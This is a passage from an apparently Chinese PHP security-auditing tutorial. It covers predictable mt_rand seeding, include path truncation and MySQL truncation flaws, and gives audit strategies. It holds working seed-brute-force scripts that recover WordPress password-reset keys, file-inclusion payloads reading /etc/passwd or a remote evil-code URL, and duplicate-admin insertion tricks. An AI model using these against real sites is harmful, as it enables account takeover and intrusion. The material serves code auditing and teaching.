4.2.0 起，不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种，现已<br />自动完成。<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;php从4.2.0开始实现了自动播种，但是为了兼容，后来使用类似于这样的代码播种：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />mt_srand ((double) microtime() * 1000000)<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;但是使用(double)microtime()*1000000类似的代码seed是比较脆弱的：<br />&nbsp;<br />0&lt;(double) microtime()&lt;1 ---&gt; 0&lt;(double) microtime()* 1000000&lt;1000000<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;那么很容易暴力破解,测试代码如下：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">/////////////////</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//&gt;php rand.php</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//828682</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//828682</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">////////////////</span><span style="color: Gray;"><br /></span><span style="color: Blue;">ini_set</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">max_execution_time</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,</span><span style="color: Maroon;">0</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: #00008b;">$time</span><span style="color: Gray;">=</span><span style="color: Olive;">(</span><span style="color: Blue;">double</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Blue;">microtime</span><span style="color: Olive;">()</span><span style="color: Gray;">* </span><span style="color: Maroon;">1000000</span><span style="color: Gray;">;<br /></span><span style="color: Blue;">print</span><span style="color: Gray;"> </span><span style="color: #00008b;">$time</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br /></span><span style="color: Blue;">mt_srand</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: #00008b;">$time</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;<br /></span><span style="color: #00008b;">$search_id</span><span style="color: Gray;"> = </span><span style="color: Blue;">mt_rand</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br /></span><span style="color: #00008b;">$seed</span><span style="color: Gray;"> = </span><span style="color: Blue;">search_seed</span><span style="color: Olive;">(</span><span style="color: #00008b;">$search_id</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Blue;">print</span><span style="color: Gray;"> </span><span style="color: #00008b;">$seed</span><span style="color: Gray;">;<br /></span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">search_seed</span><span style="color: Olive;">(</span><span style="color: #00008b;">$rand_num</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$max</span><span style="color: Gray;"> = </span><span style="color: Maroon;">1000000</span><span style="color: Gray;">;<br /></span><span style="color: Green;">for</span><span style="color: Olive;">(</span><span style="color: #00008b;">$seed</span><span style="color: Gray;">=</span><span style="color: Maroon;">0</span><span style="color: Gray;">;</span><span style="color: #00008b;">$seed</span><span style="color: Gray;">&lt;=</span><span style="color: #00008b;">$max</span><span style="color: Gray;">;</span><span style="color: #00008b;">$seed</span><span style="color: Gray;">++</span><span style="color: Olive;">){</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Blue;">mt_srand</span><span style="color: Olive;">(</span><span style="color: #00008b;">$seed</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$key</span><span style="color: Gray;"> = </span><span style="color: Blue;">mt_rand</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: #00008b;">$key</span><span style="color: Gray;">==</span><span style="color: #00008b;">$rand_num</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: #00008b;">$seed</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: Green;">false</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Blue;">?&gt;</span><span style="color: Black;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;从上面的代码实现了对seed的破解，另外根据Stefan Esser的分析seed还根据进程变化<br />而变化，换句话来说同一个进程里的seed是相同的。 然后同一个seed每次mt_rand的值都是<br />特定的。如下图：<br />&nbsp;<br />+--------------+<br />|&nbsp; &nbsp;seed-A&nbsp; &nbsp; &nbsp;|<br />+--------------+<br />| mt_rand-A-1&nbsp; |<br />| mt_rand-A-2&nbsp; |<br />| mt_rand-A-3&nbsp; |<br />+--------------+<br />&nbsp;<br />+--------------+<br />|&nbsp; &nbsp;seed-B&nbsp; &nbsp; &nbsp;|<br />+--------------+<br />| mt_rand-B-1&nbsp; |<br />| mt_rand-B-2&nbsp; |<br />| mt_rand-B-3&nbsp; |<br />+--------------+<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;对于seed-A里mt_rand-1/2/3都是不相等的，但是值都是特定的，也就是说当seed-A等于<br />seed-B，那么mt_rand-A-1就等于mt_rand-B-1…，这样我们只要能够得到seed就可以得到每次<br />mt_rand的值了。<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;对于5.2.6&gt;php&gt;4.2.0直接使用默认播种的程序也是不安全的（很多的安全人员错误的以<br />为这样就是安全的），这个要分两种情况来分析：<br />&nbsp;<br />第一种：&quot;Cross Application Attacks&quot;，这个思路在Stefan Esser文章里有提到，主要是利用<br />其他程序定义的播种（如mt_srand ((double) microtime()* 1000000)），phpbb+wordpree组<br />合就存在这样的危险.<br />&nbsp;<br />第二种：5.2.6&gt;php&gt;4.2.0默认播种的算法也不是很强悍，这是Stefan Esser的文章里的描述：<br />&nbsp;<br />-------------------------------------------------------------------------------<br />The Implementation<br />When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5 <br />&lt;= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only<br />31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne <br />Twister was changed and the forced bit removed.<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;在32位系统上默认的播种的种子为最大值是2^32，这样我们循环最多2^32次就可以破解<br />seed。而在PHP 4和PHP 5 &lt;= 5.2.0 的算法有个bug：奇数和偶数的播种是一样的（详见附录<br />[3]）,测试代码如下：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: Blue;">mt_srand</span><span style="color: Olive;">(</span><span style="color: Maroon;">4</span><span style="color: Olive;">)</span><span style="color: Gray;">; <br /></span><span style="color: #00008b;">$a</span><span style="color: Gray;"> = </span><span style="color: Blue;">mt_rand</span><span style="color: Olive;">()</span><span style="color: Gray;">; <br /></span><span style="color: Blue;">mt_srand</span><span style="color: Olive;">(</span><span style="color: Maroon;">5</span><span style="color: Olive;">)</span><span style="color: Gray;">; <br /></span><span style="color: #00008b;">$b</span><span style="color: Gray;"> = </span><span style="color: Blue;">mt_rand</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br /></span><span style="color: Blue;">print</span><span style="color: Gray;"> </span><span style="color: #00008b;">$a</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">.</span><span style="color: #00008b;">$b</span><span style="color: Gray;">;<br /></span><span style="color: Blue;">?&gt;</span><span style="color: Black;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;通过上面的代码发现$a==$b，所以我们循环的次数为2^32/2=2^31次。我们看如下代码：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//base on </span><span style="color: Blue;">http://www.milw0rm.com/exploits/6421</span><span style="color: #ffa500;"> </span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//test on php 5.2.0</span><span style="color: Gray;"><br />&nbsp;<br /></span><span style="color: Green;">define</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">BUGGY</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">, </span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;">; </span><span style="color: #ffa500;">//上面代码$a==$b时候定义BUGGY=1</span><span style="color: Gray;"><br />&nbsp;<br /></span><span style="color: #00008b;">$key</span><span style="color: Gray;"> = </span><span style="color: Blue;">wp_generate_password</span><span style="color: Olive;">(</span><span style="color: Maroon;">20</span><span style="color: Gray;">, </span><span style="color: Green;">false</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: #00008b;">$key</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br /></span><span style="color: #00008b;">$seed</span><span style="color: Gray;"> = </span><span style="color: Blue;">getseed</span><span style="color: Olive;">(</span><span style="color: #00008b;">$key</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Blue;">print</span><span style="color: Gray;"> </span><span style="color: #00008b;">$seed</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">; <br />&nbsp;<br /></span><span style="color: Blue;">mt_srand</span><span style="color: Olive;">(</span><span style="color: #00008b;">$seed</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: #00008b;">$pass</span><span style="color: Gray;"> = </span><span style="color: Blue;">wp_generate_password</span><span style="color: Olive;">(</span><span style="color: Maroon;">20</span><span style="color: Gray;">, </span><span style="color: Green;">false</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: #00008b;">$pass</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp;<br /></span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">wp_generate_password</span><span style="color: Olive;">(</span><span style="color: #00008b;">$length</span><span style="color: Gray;"> = </span><span style="color: Maroon;">12</span><span style="color: Gray;">, </span><span style="color: #00008b;">$special_chars</span><span style="color: Gray;"> = </span><span style="color: Green;">true</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$chars</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: Gray;"> </span><span style="color: #00008b;">$special_chars</span><span style="color: Gray;"> </span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$chars</span><span style="color: Gray;"> .= </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">!@#$%^&amp;*()</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$password</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">for</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: Gray;"> </span><span style="color: #00008b;">$i</span><span style="color: Gray;"> = </span><span style="color: Maroon;">0</span><span style="color: Gray;">; </span><span style="color: #00008b;">$i</span><span style="color: Gray;"> &lt; </span><span style="color: #00008b;">$length</span><span style="color: Gray;">; </span><span style="color: #00008b;">$i</span><span style="color: Gray;">++ </span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$password</span><span style="color: Gray;"> .= </span><span style="color: Blue;">substr</span><span style="color: Olive;">(</span><span style="color: #00008b;">$chars</span><span style="color: Gray;">, </span><span style="color: Blue;">mt_rand</span><span style="color: Olive;">(</span><span style="color: Maroon;">0</span><span style="color: Gray;">, </span><span style="color: Blue;">strlen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$chars</span><span style="color: Olive;">)</span><span style="color: Gray;"> - </span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;">, </span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: #00008b;">$password</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"> <br />&nbsp;<br /></span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">getseed</span><span style="color: Olive;">(</span><span style="color: #00008b;">$resetkey</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$max</span><span style="color: Gray;"> = </span><span style="color: Blue;">pow</span><span style="color: Olive;">(</span><span style="color: Maroon;">2</span><span style="color: Gray;">,</span><span style="color: Olive;">(</span><span style="color: Maroon;">32</span><span style="color: Gray;">-</span><span style="color: Blue;">BUGGY</span><span style="color: Olive;">))</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">for</span><span style="color: Olive;">(</span><span style="color: #00008b;">$x</span><span style="color: Gray;">=</span><span style="color: Maroon;">0</span><span style="color: Gray;">;</span><span style="color: #00008b;">$x</span><span style="color: Gray;">&lt;=</span><span style="color: #00008b;">$max</span><span style="color: Gray;">;</span><span style="color: #00008b;">$x</span><span style="color: Gray;">++</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$seed</span><span style="color: Gray;"> = </span><span style="color: Blue;">BUGGY</span><span style="color: Gray;"> ? </span><span style="color: Olive;">(</span><span style="color: #00008b;">$x</span><span style="color: Gray;"> &lt;&lt; </span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;"> + </span><span style="color: Maroon;">1</span><span style="color: Gray;"> : </span><span style="color: #00008b;">$x</span><span style="color: Gray;">; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">mt_srand</span><span style="color: Olive;">(</span><span style="color: #00008b;">$seed</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$testkey</span><span style="color: Gray;"> = </span><span style="color: Blue;">wp_generate_password</span><span style="color: Olive;">(</span><span style="color: Maroon;">20</span><span style="color: Gray;">,</span><span style="color: Green;">false</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: #00008b;">$testkey</span><span style="color: Gray;">==</span><span style="color: #00008b;">$resetkey</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;"> </span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">o</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">; </span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: #00008b;">$seed</span><span style="color: Gray;">; </span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Gray;">!</span><span style="color: Olive;">(</span><span style="color: #00008b;">$x</span><span style="color: Gray;"> % </span><span style="color: Maroon;">10000</span><span style="color: Olive;">))</span><span style="color: Gray;"> </span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: #00008b;">$x</span><span style="color: Gray;"> / </span><span style="color: Maroon;">10000</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: #8b0000;">&quot;</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: Green;">false</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Blue;">?&gt;</span><span style="color: Black;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;运行结果如下：<br />&nbsp;<br />-------------------------------------------------------------------------------<br />php5&gt;php rand.php<br />M8pzpjwCrvVt3oobAaOr<br />0123456789101112131415161718192021222324252627282930313233343536373839404142434<br />445464748495051525354555657585960616263646566676869<br />7071727374757677787980818283848586878889909192939495969798991001011021031041051<br />061071081091101111121131141151161171181191201211221<br />2312412512612712812913013113213313413513613713813914014114214314414514614714814<br />915015115215315415515615715815916016116216316416516<br />6167168169170171172173174175176177178179180181182183184185186187188189190191192<br />193194195196197198199200201202203204205206207208209<br />2102112122132142152162172182192202212222232242252262272282292302312322332342352<br />362372382392402412422432442452462472482492502512522<br />..............01062110622106231062410625106261062710628106291063010631106321063<br />3o<br />70693<br />pjwCrvVt3oobAaOr<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;当10634次时候我们得到了结果。<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;当PHP版本到了5.2.1后，通过修改算法修补了奇数和偶数的播种相等的问题，这样也导致<br />了php5.2.0前后导致同一个播种后的mt_rand()的值不一样。比如：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: Blue;">mt_srand</span><span style="color: Olive;">(</span><span style="color: Maroon;">42</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: Blue;">mt_rand</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br /></span><span style="color: #ffa500;">//php&lt;=5.20 1387371436</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//php&gt;5.20 1354439493&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Gray;"><br /></span><span style="color: Blue;">?&gt;</span><span style="color: Black;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;正是这个原因，也要求了我们的exp的运行环境：当目标&gt;5.20时候，我们exp运行的环境也<br />要是&gt;5.20的版本，反过来也是一样。<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;从上面的测试及分析来看，php&lt;5.26不管有没有定义播种，mt_rand处理的数据都是不安<br />全的。在web应用里很多都使用mt_rand来处理随机的session，比如密码找回功能等等，这样<br />的后果就是被攻击者恶意利用直接修改密码。<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;很多著名的程序都产生了类似的漏洞如wordpress、phpbb、punbb等等。（在后面我们将<br />实际分析下国内著名的bbs程序Discuz!的mt_srand导致的漏洞）<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br />PHP版本要求：php4 php5&lt;5.2.6<br />系统要求：无<br />审计策略：查找mt_srand/mt_rand<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />5.6 特殊字符<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;其实“特殊字符”也没有特定的标准定义，主要是在一些code hacking发挥着特殊重作用<br />的一类字符。下面就举几个例子：<br />&nbsp;&nbsp; <br />5.6.1 截断<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;其中最有名的数大家都熟悉的null字符截断。<br />&nbsp;<br />5.6.1.1 include截断<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"> <br /></span><span style="color: Green;">include</span><span style="color: Gray;"> </span><span style="color: #00008b;">$_GET</span><span style="color: Olive;">[</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">action</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">]</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">.php</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">; <br /></span><span style="color: Blue;">?&gt;</span><span style="color: Black;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;提交“action=/etc/passwd%00”中的“%00”将截断后面的“.php”，但是除了“%00”还有没有<br />其他的字符可以实现截断使用呢？肯定有人想到了远程包含的url里问号“?”的作用，通过提交<br />“action=http://www.hacksite.com/evil-code.txt?”这里“?”实现了“伪截断”：），好象这个<br />看上去不是那么舒服那么我们简单写个代码fuzz一下：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">////////////////////</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">////var5.php代码:</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">////include $_GET[&quot;action&quot;].&quot;.php&quot;; </span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">////print strlen(realpath(&quot;./&quot;))+strlen($_GET[&quot;action&quot;]);&nbsp; </span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">///////////////////</span><span style="color: Gray;"><br /></span><span style="color: Blue;">ini_set</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">max_execution_time</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">, </span><span style="color: Maroon;">0</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: #00008b;">$str</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Gray;">;<br /></span><span style="color: Green;">for</span><span style="color: Olive;">(</span><span style="color: #00008b;">$i</span><span style="color: Gray;">=</span><span style="color: Maroon;">0</span><span style="color: Gray;">;</span><span style="color: #00008b;">$i</span><span style="color: Gray;">&lt;</span><span style="color: Maroon;">50000</span><span style="color: Gray;">;</span><span style="color: #00008b;">$i</span><span style="color: Gray;">++</span><span style="color: Olive;">)</span><span style="color: Gray;"><br /></span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$str</span><span style="color: Gray;">=</span><span style="color: #00008b;">$str</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">/</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$resp</span><span style="color: Gray;">=</span><span style="color: Blue;">file_get_contents</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">http://127.0.0.1/var/var5.php?action=1.txt</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">.</span><span style="color: #00008b;">$str</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: #ffa500;">//1.txt里的代码为print &quot;hi&quot;;</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: Blue;">strpos</span><span style="color: Olive;">(</span><span style="color: #00008b;">$resp</span><span style="color: Gray;">, </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">hi</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;"> !== </span><span style="color: Green;">false</span><span style="color: Olive;">){</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">print</span><span style="color: Gray;"> </span><span style="color: #00008b;">$i</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">exit</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Blue;">?&gt;</span><span style="color: Black;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;经过测试字符“.”、“ /”或者2个字符的组合，在一定的长度时将被截断，win系统和*nix<br />的系统长度不一样，当win下strlen(realpath(&quot;./&quot;))+strlen($_GET[&quot;action&quot;])的长度大于<br />256时被截断，对于*nix的长度是4 * 1024 = 4096。对于php.ini里设置远程文件关闭的时候<br />就可以利用上面的技巧包含本地文件了。（此漏洞由cloie#ph4nt0m.org最先发现]）<br />&nbsp;<br />&nbsp;<br />5.6.1.2 数据截断<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;对于很多web应用文件在很多功能是不容许重复数据的，比如用户注册功能等。一般的应<br />用程序对于提交注册的username和数据库里已有的username对比是不是已经有重复数据，然<br />而我们可以通过“数据截断”等来饶过这些判断，数据库在处理时候产生截断导致插入重复数<br />据。<br />&nbsp;&nbsp; &nbsp;<br />1) Mysql SQL Column Truncation Vulnerabilities<br />&nbsp;&nbsp; <br />&nbsp;&nbsp; &nbsp;这个漏洞又是大牛Stefan Esser发现的（Stefan Esser是我的偶像:)），这个是由于mysql<br />的sql_mode设置为default的时候，即没有开启STRICT_ALL_TABLES选项时，MySQL对于插入超<br />长的值只会提示warning，而不是error（如果是error就插入不成功），这样可能会导致一些截<br />断问题。测试如下：<br />&nbsp;&nbsp; &nbsp;<br />--code-------------------------------------------------------------------------<br />mysql&gt; insert into truncated_test(`username`,`password`) values(&quot;admin&quot;,&quot;pass&quot;);<br />&nbsp;<br />mysql&gt; insert into truncated_test(`username`,`password`) values(&quot;admin&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;x&quot;, &quot;new_pass&quot;);<br />Query OK, 1 row affected, 1 warning (0.01 sec)<br />&nbsp;<br />mysql&gt; select * from truncated_test;<br />+----+------------+----------+<br />| id | username&nbsp; &nbsp;| password |<br />+----+------------+----------+<br />| 1 | admin&nbsp; &nbsp; &nbsp; | pass&nbsp; &nbsp; &nbsp;|<br />| 2 | admin&nbsp; &nbsp; &nbsp; | new_pass |<br />+----+------------+----------+<br />2 rows in set (0.00 sec)<br />-------------------------------------------------------------------------------<br />&nbsp;<br />2) Mysql charset Truncation vulnerability<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;这个漏洞是80sec发现的，当mysql进行数据存储处理utf8等数据时对某些字符导致数据<br />截断。测试如下：<br />&nbsp;&nbsp; &nbsp;<br />--code-------------------------------------------------------------------------<br />mysql&gt; insert into truncated_test(`username`,`password`) values(concat(&quot;admin&quot;,0xc1), &quot;new_pass2&quot;);<br />Query OK, 1 row affected, 1 warning (0.00 sec)<br />&nbsp;<br />mysql&gt; select * from truncated_test;<br />+----+------------+----------+<br />| id | username&nbsp; &nbsp;| password |<br />+----+------------+----------+<br />| 1 | admin&nbsp; &nbsp; &nbsp; | pass&nbsp; &nbsp; &nbsp; |<br />| 2 | admin&nbsp; &nbsp; &nbsp; | new_pass&nbsp; |<br />| 3 | admin&nbsp; &nbsp; &nbsp; | new_pass2 |<br />+----+------------+----------+<br />2 rows in set (0.00 sec)<br />-------------------------------------------------------------------------------<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;很多的web应用程序没有考虑到这些问题，只是在数据存储前简单查询数据是否包含相同<br />数据，如下代码：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />$result = mysql_query(&quot;SELECT * from test_user where user=&quot;$user&quot; &quot;);<br />&nbsp; ....<br />if(@mysql_fetch_array($result, MYSQL_NUM)) {<br />&nbsp;&nbsp; &nbsp;die(&quot;already exist&quot;);<br />}<br />-------------------------------------------------------------------------------<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：通读代码<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />5.6.1.3 文件操作里的特殊字符<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;文件操作里有很多特殊的字符，发挥特别的作用，很多web应用程序没有注意处理这些字<br 